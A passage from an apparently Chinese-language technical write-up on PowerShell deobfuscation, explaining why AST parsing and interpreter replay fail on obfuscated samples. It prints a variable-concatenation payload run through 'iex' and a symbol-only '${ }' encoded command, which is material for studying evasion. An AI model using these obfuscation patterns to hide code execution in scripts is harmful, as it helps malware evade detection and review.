$9nlp8=$5twm+$ycpp49cli+$w97pjqtge+$f2dxw+$1xf+$zqqlwbhfc2+$92qh49u+$amzsukn3hjk+$1rb0+$hxyj7w+$5c2zz
if ($psversiontable.PSVersion.Major -eq 2) { $psFile = $MyInvocation.MyCommand.Definition }
iex $9nlp8IEX是Invoke-Expression的函数缩写，可以执行存储在变量内的内容，抽象语法树解析无法提取如此复杂的语义节点
3.破碎的语法树
破碎的语法树包含了诸多AST类型，在针对单个节点解混淆时，使用PowerShell解释器进行还原。目标子树包含了其他变量内容，因此解释器无法还原这样的类型
( '--'| %{${ } =+$( )}{${ }=${ } }{ ${ }= ++${ } }{${ }=++ ${ }} {${ } = ++ ${ }} {${ }=++ ${ }} { ${ } = ++${ } }{${ }= ++${ } } {${ } = ++ ${ }} {${ } = ++ ${ }}{${ } = ++${ } } {${ } ="[" + "$(@{} )"[ ${ } ]+ "$(@{ })"[ "${ }"+"${ }" ]+"$( @{ } ) "["${ }" +"${ }"]+ "$? "[ ${ }]+"]" }{${ } = "".("$( @{})"[ "${ }"+ "${ }"] +"$( @{ } ) "["${ }" + "${ }"] +"$( @{ })"[ ${ } ] + "$( @{}) "[${ } ] + "$?"[ ${ } ] + "$( @{} ) "[ ${ }] )}{ ${ }= "$( @{ })"[ "${ }${ }"]+ "$( @{ }) "[${ } ]+"${ }"[ "${ }${ }" ] } ); & ${ } (" ${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } |${ }" ) 使用字符串进行还原时，由于缺乏某些变量的定义信息，还原失败
这是其中的一棵子树，commandExpressionAST:
" ${ }${ }${ }${ }+ ${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ }+ ${ }${ }${ }+${ }${ }${ } + ${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } +${ }${ }${ }${ }+${ }${ }${ }${ } + ${ }${ }${ }${ } + ${ }${ }${ } |${ }"通过PowerShell解释器执行时，获取的解析结果是失败的结果：
+ + + + + + + + ++ + ++ + + |